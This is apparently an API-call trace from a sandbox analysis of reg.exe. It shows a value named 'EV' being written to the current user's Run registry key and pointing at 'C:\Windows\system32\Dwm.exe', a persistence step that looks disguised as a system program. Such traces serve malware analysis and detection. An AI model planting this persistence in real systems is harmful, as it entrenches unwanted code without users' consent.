	[0134.490] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0
	[0134.491] StrChrW (lpStart=" \x09", wMatch=0x5f) returned 0x0
	[0134.491] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0
	[0134.491] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0
	[0134.491] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0
	[0134.491] StrChrW (lpStart=" \x09", wMatch=0x52) returned 0x0
	[0134.491] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0
	[0134.491] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0
	[0134.491] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0
	[0134.491] StrChrW (lpStart=" \x09", wMatch=0x46) returned 0x0
	[0134.491] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0
	[0134.491] StrChrW (lpStart=" \x09", wMatch=0x57) returned 0x0
	[0134.491] StrChrW (lpStart=" \x09", wMatch=0x41) returned 0x0
	[0134.491] StrChrW (lpStart=" \x09", wMatch=0x52) returned 0x0
	[0134.491] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0
	[0134.492] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0
	[0134.492] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0
	[0134.492] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0
	[0134.492] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0
	[0134.492] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0
	[0134.492] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0
	[0134.492] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0
	[0134.492] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0
	[0134.492] StrChrW (lpStart=" \x09", wMatch=0x66) returned 0x0
	[0134.492] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0
	[0134.492] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0
	[0134.492] StrChrW (lpStart=" \x09", wMatch=0x57) returned 0x0
	[0134.493] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0
	[0134.493] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0
	[0134.493] StrChrW (lpStart=" \x09", wMatch=0x64) returned 0x0
	[0134.493] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0
	[0134.493] StrChrW (lpStart=" \x09", wMatch=0x77) returned 0x0
	[0134.493] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0
	[0134.493] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0
	[0134.493] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0
	[0134.493] StrChrW (lpStart=" \x09", wMatch=0x75) returned 0x0
	[0134.493] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0
	[0134.493] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0
	[0134.493] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0
	[0134.493] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0
	[0134.493] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0
	[0134.493] StrChrW (lpStart=" \x09", wMatch=0x56) returned 0x0
	[0134.494] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0
	[0134.494] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0
	[0134.494] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0
	[0134.494] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0
	[0134.494] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0
	[0134.494] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0
	[0134.494] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0
	[0134.494] StrChrW (lpStart=" \x09", wMatch=0x52) returned 0x0
	[0134.494] StrChrW (lpStart=" \x09", wMatch=0x75) returned 0x0
	[0134.494] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0
	[0134.494] lstrlenW (lpString="HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run") returned 63
	[0134.494] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", cchCount1=2, lpString2="\\\\", cchCount2=2) returned 3
	[0134.494] lstrlenW (lpString="HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run") returned 63
	[0134.495] lstrlenW (lpString="HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run") returned 63
	[0134.495] StrChrIW (lpStart="HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", wMatch=0x5c) returned="\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"
	[0134.497] lstrlenW (lpString="HKEY_CURRENT_CONFIG") returned 19
	[0134.497] GetProcessHeap () returned 0x200000
	[0134.497] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x28) returned 0x215cc0
	[0134.497] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="HKEY_CURRENT_USER", cchCount1=-1, lpString2="HKCU", cchCount2=-1) returned 3
	[0134.497] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="HKEY_CURRENT_USER", cchCount1=-1, lpString2="HKEY_CURRENT_USER", cchCount2=-1) returned 2
	[0134.497] lstrlenW (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45
	[0134.497] lstrlenW (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45
	[0134.497] lstrlenW (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45
	[0134.497] StrChrIW (lpStart="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", wMatch=0x5c) returned="\\Microsoft\\Windows\\CurrentVersion\\Run"
	[0134.497] lstrlenW (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45
	[0134.497] StrChrIW (lpStart="Microsoft\\Windows\\CurrentVersion\\Run", wMatch=0x5c) returned="\\Windows\\CurrentVersion\\Run"
	[0134.497] lstrlenW (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45
	[0134.498] StrChrIW (lpStart="Windows\\CurrentVersion\\Run", wMatch=0x5c) returned="\\CurrentVersion\\Run"
	[0134.498] lstrlenW (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45
	[0134.498] StrChrIW (lpStart="CurrentVersion\\Run", wMatch=0x5c) returned="\\Run"
	[0134.498] lstrlenW (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45
	[0134.498] StrChrIW (lpStart="Run", wMatch=0x5c) returned 0x0
	[0134.498] SetLastError (dwErrCode=0x490) 
	[0134.498] lstrlenW (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45
	[0134.498] SetLastError (dwErrCode=0x0) 
	[0134.498] lstrlenW (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45
	[0134.498] GetProcessHeap () returned 0x200000
	[0134.498] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x5c) returned 0x21bb90
	[0134.498] GetProcessHeap () returned 0x200000
	[0134.498] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x88) returned 0x21bc00
	[0134.499] GetProcessHeap () returned 0x200000
	[0134.499] GetProcessHeap () returned 0x200000
	[0134.499] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x215cc0) returned 1
	[0134.499] GetProcessHeap () returned 0x200000
	[0134.499] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x215cc0) returned 0x28
	[0134.499] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x215cc0 | out: hHeap=0x200000) returned 1
	[0134.499] GetProcessHeap () returned 0x200000
	[0134.500] GetProcessHeap () returned 0x200000
	[0134.500] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21b910) returned 1
	[0134.500] GetProcessHeap () returned 0x200000
	[0134.500] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21b910) returned 0x80
	[0134.500] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21b910 | out: hHeap=0x200000) returned 1
	[0134.500] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/v", cchCount1=-1, lpString2="/v", cchCount2=-1) returned 2
	[0134.500] lstrlenW (lpString="EV") returned 2
	[0134.500] GetProcessHeap () returned 0x200000
	[0134.500] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x6) returned 0x21b720
	[0134.500] lstrlenW (lpString="EV") returned 2
	[0134.500] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0
	[0134.500] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0
	[0134.500] StrChrW (lpStart=" \x09", wMatch=0x56) returned 0x0
	[0134.501] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/t", cchCount1=-1, lpString2="/v", cchCount2=-1) returned 1
	[0134.501] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/t", cchCount1=-1, lpString2="-v", cchCount2=-1) returned 1
	[0134.501] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/t", cchCount1=-1, lpString2="/ve", cchCount2=-1) returned 1
	[0134.501] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/t", cchCount1=-1, lpString2="-ve", cchCount2=-1) returned 1
	[0134.501] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/t", cchCount1=-1, lpString2="/t", cchCount2=-1) returned 2
	[0134.501] StrDupW (lpSrch="REG_SZ") returned="REG_SZ"
	[0134.501] lstrlenW (lpString="REG_SZ") returned 6
	[0134.501] StrChrW (lpStart=" \x09", wMatch=0x52) returned 0x0
	[0134.502] StrChrW (lpStart=" \x09", wMatch=0x52) returned 0x0
	[0134.502] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0
	[0134.502] StrChrW (lpStart=" \x09", wMatch=0x47) returned 0x0
	[0134.502] StrChrW (lpStart=" \x09", wMatch=0x5f) returned 0x0
	[0134.502] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0
	[0134.502] StrChrW (lpStart=" \x09", wMatch=0x5a) returned 0x0
	[0134.502] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="REG_SZ", cchCount1=-1, lpString2="REG_SZ", cchCount2=-1) returned 2
	[0134.502] LocalFree (hMem=0x21b910) returned 0x0
	[0134.502] SetLastError (dwErrCode=0x0) 
	[0134.502] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/d", cchCount1=-1, lpString2="/v", cchCount2=-1) returned 1
	[0134.502] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/d", cchCount1=-1, lpString2="-v", cchCount2=-1) returned 1
	[0134.502] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/d", cchCount1=-1, lpString2="/ve", cchCount2=-1) returned 1
	[0134.502] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/d", cchCount1=-1, lpString2="-ve", cchCount2=-1) returned 1
	[0134.502] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/d", cchCount1=-1, lpString2="/t", cchCount2=-1) returned 1
	[0134.503] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/d", cchCount1=-1, lpString2="-t", cchCount2=-1) returned 1
	[0134.503] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/d", cchCount1=-1, lpString2="/s", cchCount2=-1) returned 1
	[0134.503] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/d", cchCount1=-1, lpString2="-s", cchCount2=-1) returned 1
	[0134.503] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/d", cchCount1=-1, lpString2="/d", cchCount2=-1) returned 2
	[0134.503] lstrlenW (lpString="￾￾C:\\Windows\\system32\\Dwm.exe") returned 29
	[0134.503] GetProcessHeap () returned 0x200000
	[0134.503] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x3c) returned 0x219df0
	[0134.503] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/f", cchCount1=-1, lpString2="/v", cchCount2=-1) returned 1
	[0134.503] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/f", cchCount1=-1, lpString2="-v", cchCount2=-1) returned 1
	[0134.503] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/f", cchCount1=-1, lpString2="/ve", cchCount2=-1) returned 1
	[0134.503] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/f", cchCount1=-1, lpString2="-ve", cchCount2=-1) returned 1
	[0134.503] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/f", cchCount1=-1, lpString2="/t", cchCount2=-1) returned 1
	[0134.504] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/f", cchCount1=-1, lpString2="-t", cchCount2=-1) returned 1
	[0134.504] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/f", cchCount1=-1, lpString2="/s", cchCount2=-1) returned 1
	[0134.504] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/f", cchCount1=-1, lpString2="-s", cchCount2=-1) returned 1
	[0134.504] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/f", cchCount1=-1, lpString2="/d", cchCount2=-1) returned 3
	[0134.504] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/f", cchCount1=-1, lpString2="-d", cchCount2=-1) returned 1
	[0134.504] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/f", cchCount1=-1, lpString2="/f", cchCount2=-1) returned 2
	[0134.504] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/reg:64", cchCount1=-1, lpString2="/v", cchCount2=-1) returned 1
	[0134.504] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/reg:64", cchCount1=-1, lpString2="-v", cchCount2=-1) returned 1
	[0134.504] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/reg:64", cchCount1=-1, lpString2="/ve", cchCount2=-1) returned 1
	[0134.504] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/reg:64", cchCount1=-1, lpString2="-ve", cchCount2=-1) returned 1
	[0134.504] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/reg:64", cchCount1=-1, lpString2="/t", cchCount2=-1) returned 1
	[0134.505] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/reg:64", cchCount1=-1, lpString2="-t", cchCount2=-1) returned 1
	[0134.505] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/reg:64", cchCount1=-1, lpString2="/s", cchCount2=-1) returned 1
	[0134.505] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/reg:64", cchCount1=-1, lpString2="-s", cchCount2=-1) returned 1
	[0134.505] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/reg:64", cchCount1=-1, lpString2="/d", cchCount2=-1) returned 3
	[0134.505] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/reg:64", cchCount1=-1, lpString2="-d", cchCount2=-1) returned 1
	[0134.505] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/reg:64", cchCount1=-1, lpString2="/f", cchCount2=-1) returned 3
	[0134.505] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/reg:64", cchCount1=-1, lpString2="-f", cchCount2=-1) returned 1
	[0134.505] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/reg:64", cchCount1=-1, lpString2="/reg:32", cchCount2=-1) returned 3
	[0134.505] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/reg:64", cchCount1=-1, lpString2="-reg:32", cchCount2=-1) returned 1
	[0134.505] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/reg:64", cchCount1=-1, lpString2="/reg:64", cchCount2=-1) returned 2
	[0134.505] SetLastError (dwErrCode=0x0) 
	[0134.506] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2011f, lpSecurityAttributes=0x0, phkResult=0x10f6a0, lpdwDisposition=0x10f6c0 | out: phkResult=0x10f6a0*=0x54, lpdwDisposition=0x10f6c0*=0x2) returned 0x0
	[0134.506] RegQueryValueExW (in: hKey=0x54, lpValueName="EV", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x2
	[0134.507] lstrlenW (lpString="￾￾C:\\Windows\\system32\\Dwm.exe") returned 29
	[0134.507] RegSetValueExW (in: hKey=0x54, lpValueName="EV", Reserved=0x0, dwType=0x1, lpData="￾￾C:\\Windows\\system32\\Dwm.exe", cbData=0x3c | out: lpData="￾￾C:\\Windows\\system32\\Dwm.exe") returned 0x0
	[0134.508] RegCloseKey (hKey=0x54) returned 0x0
	[0134.508] GetProcessHeap () returned 0x200000
	[0134.508] GetProcessHeap () returned 0x200000
	[0134.508] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21bb90) returned 1
	[0134.509] GetProcessHeap () returned 0x200000
	[0134.509] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21bb90) returned 0x5c
	[0134.509] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21bb90 | out: hHeap=0x200000) returned 1
	[0134.509] GetProcessHeap () returned 0x200000
	[0134.509] GetProcessHeap () returned 0x200000
	[0134.509] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21bc00) returned 1
	[0134.509] GetProcessHeap () returned 0x200000
	[0134.509] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21bc00) returned 0x88
	[0134.509] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21bc00 | out: hHeap=0x200000) returned 1
	[0134.509] GetProcessHeap () returned 0x200000
	[0134.509] GetProcessHeap () returned 0x200000
	[0134.509] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21b720) returned 1
	[0134.509] GetProcessHeap () returned 0x200000
	[0134.510] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21b720) returned 0x6
	[0134.510] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21b720 | out: hHeap=0x200000) returned 1
	[0134.510] GetProcessHeap () returned 0x200000
	[0134.510] GetProcessHeap () returned 0x200000
	[0134.510] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x219df0) returned 1
	[0134.510] GetProcessHeap () returned 0x200000
	[0134.510] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x219df0) returned 0x3c
	[0134.510] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x219df0 | out: hHeap=0x200000) returned 1
	[0134.510] SetLastError (dwErrCode=0x0) 
	[0134.510] GetLastError () returned 0x0
	[0134.510] FormatMessageW (in: dwFlags=0x1300, lpSource=0x0, dwMessageId=0x0, dwLanguageId=0x0, lpBuffer=0x10f620, nSize=0x0, Arguments=0x0 | out: lpBuffer="뤐!") returned 0x27
	[0134.513] GetLastError () returned 0x0
	[0134.513] lstrlenW (lpString="The operation completed successfully.\r\n") returned 39
	[0134.513] GetProcessHeap () returned 0x200000
	[0134.513] GetProcessHeap () returned 0x200000
	[0134.513] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21b660) returned 1
	[0134.513] GetProcessHeap () returned 0x200000
	[0134.513] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21b660) returned 0x2
	[0134.513] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21b660 | out: hHeap=0x200000) returned 1
	[0134.513] GetProcessHeap () returned 0x200000
	[0134.513] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x50) returned 0x21bb90
	[0134.514] SetLastError (dwErrCode=0x0) 
	[0134.514] LocalFree (hMem=0x21b910) returned 0x0
	[0134.514] __iob_func () returned 0x7fefe122a80
	[0134.514] _fileno (_File=0x7fefe122ab0) returned 1
	[0134.514] _errno () returned 0x1d4bb0
	[0134.514] _get_osfhandle (_FileHandle=1) returned 0x7
	[0134.514] _errno () returned 0x1d4bb0
	[0134.514] GetFileType (hFile=0x7) returned 0x2
	[0134.722] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7
	[0134.722] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x10f5a0 | out: lpMode=0x10f5a0) returned 1
	[0134.723] __iob_func () returned 0x7fefe122a80
	[0134.723] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7
	[0134.723] lstrlenW (lpString="The operation completed successfully.\r\n") returned 39
	[0134.723] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x21bb90*, nNumberOfCharsToWrite=0x27, lpNumberOfCharsWritten=0x10f610, lpReserved=0x0 | out: lpBuffer=0x21bb90*, lpNumberOfCharsWritten=0x10f610*=0x27) returned 1
	[0134.724] GetProcessHeap () returned 0x200000
	[0134.724] GetProcessHeap () returned 0x200000
	[0134.724] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21b880) returned 1
	[0134.724] GetProcessHeap () returned 0x200000
	[0134.724] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21b880) returned 0x86
	[0134.724] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21b880 | out: hHeap=0x200000) returned 1
	[0134.724] GetProcessHeap () returned 0x200000
	[0134.724] GetProcessHeap () returned 0x200000
	[0134.724] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21b700) returned 1
	[0134.724] GetProcessHeap () returned 0x200000
	[0134.724] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21b700) returned 0x18
	[0134.725] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21b700 | out: hHeap=0x200000) returned 1
	[0134.725] GetProcessHeap () returned 0x200000
	[0134.725] GetProcessHeap () returned 0x200000
	[0134.725] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x215c00) returned 1
	[0134.725] GetProcessHeap () returned 0x200000
	[0134.725] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x215c00) returned 0x20
	[0134.725] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x215c00 | out: hHeap=0x200000) returned 1
	[0134.725] GetProcessHeap () returned 0x200000
	[0134.725] GetProcessHeap () returned 0x200000
	[0134.725] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x215c90) returned 1
	[0134.725] GetProcessHeap () returned 0x200000
	[0134.725] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x215c90) returned 0x1e
	[0134.726] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x215c90 | out: hHeap=0x200000) returned 1
	[0134.726] GetProcessHeap () returned 0x200000
	[0134.726] GetProcessHeap () returned 0x200000
	[0134.726] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21b6e0) returned 1
	[0134.726] GetProcessHeap () returned 0x200000
	[0134.726] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21b6e0) returned 0x18
	[0134.726] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21b6e0 | out: hHeap=0x200000) returned 1
	[0134.726] GetProcessHeap () returned 0x200000
	[0134.726] GetProcessHeap () returned 0x200000
	[0134.726] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x215bd0) returned 1
	[0134.726] GetProcessHeap () returned 0x200000
	[0134.726] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x215bd0) returned 0x20
	[0134.727] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x215bd0 | out: hHeap=0x200000) returned 1
	[0134.727] GetProcessHeap () returned 0x200000
	[0134.727] GetProcessHeap () returned 0x200000
	[0134.727] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21bb90) returned 1
	[0134.727] GetProcessHeap () returned 0x200000
	[0134.727] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21bb90) returned 0x50
	[0134.727] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21bb90 | out: hHeap=0x200000) returned 1
	[0134.727] GetProcessHeap () returned 0x200000
	[0134.727] GetProcessHeap () returned 0x200000
	[0134.727] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x215a20) returned 1
	[0134.727] GetProcessHeap () returned 0x200000
	[0134.727] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x215a20) returned 0x20
	[0134.727] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x215a20 | out: hHeap=0x200000) returned 1
	[0134.728] GetProcessHeap () returned 0x200000
	[0134.728] GetProcessHeap () returned 0x200000
	[0134.728] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x215a50) returned 1
	[0134.728] GetProcessHeap () returned 0x200000
	[0134.728] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x215a50) returned 0x20
	[0134.728] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x215a50 | out: hHeap=0x200000) returned 1
	[0134.728] GetProcessHeap () returned 0x200000
	[0134.728] GetProcessHeap () returned 0x200000
	[0134.728] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x215a80) returned 1
	[0134.728] GetProcessHeap () returned 0x200000
	[0134.728] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x215a80) returned 0x20
	[0134.728] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x215a80 | out: hHeap=0x200000) returned 1
	[0134.728] GetProcessHeap () returned 0x200000
	[0134.729] GetProcessHeap () returned 0x200000
	[0134.729] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x215ab0) returned 1
	[0134.729] GetProcessHeap () returned 0x200000
	[0134.729] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x215ab0) returned 0x20
	[0134.729] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x215ab0 | out: hHeap=0x200000) returned 1
	[0134.729] GetProcessHeap () returned 0x200000
	[0134.729] GetProcessHeap () returned 0x200000
	[0134.729] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21b680) returned 1
	[0134.729] GetProcessHeap () returned 0x200000
	[0134.729] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21b680) returned 0x18
	[0134.729] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21b680 | out: hHeap=0x200000) returned 1
	[0134.729] GetProcessHeap () returned 0x200000
	[0134.729] GetProcessHeap () returned 0x200000
	[0134.729] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x215ae0) returned 1
	[0134.730] GetProcessHeap () returned 0x200000
	[0134.730] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x215ae0) returned 0x20
	[0134.730] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x215ae0 | out: hHeap=0x200000) returned 1
	[0134.730] GetProcessHeap () returned 0x200000
	[0134.730] GetProcessHeap () returned 0x200000
	[0134.730] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x215b10) returned 1
	[0134.730] GetProcessHeap () returned 0x200000
	[0134.730] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x215b10) returned 0x20
	[0134.730] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x215b10 | out: hHeap=0x200000) returned 1
	[0134.730] GetProcessHeap () returned 0x200000
	[0134.730] GetProcessHeap () returned 0x200000
	[0134.730] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x215b40) returned 1
	[0134.731] GetProcessHeap () returned 0x200000
	[0134.731] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x215b40) returned 0x20
	[0134.731] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x215b40 | out: hHeap=0x200000) returned 1
	[0134.731] GetProcessHeap () returned 0x200000
	[0134.731] GetProcessHeap () returned 0x200000
	[0134.731] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x215b70) returned 1
	[0134.731] GetProcessHeap () returned 0x200000
	[0134.731] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x215b70) returned 0x20
	[0134.731] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x215b70 | out: hHeap=0x200000) returned 1
	[0134.731] GetProcessHeap () returned 0x200000
	[0134.731] GetProcessHeap () returned 0x200000
	[0134.731] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21b6a0) returned 1
	[0134.732] GetProcessHeap () returned 0x200000
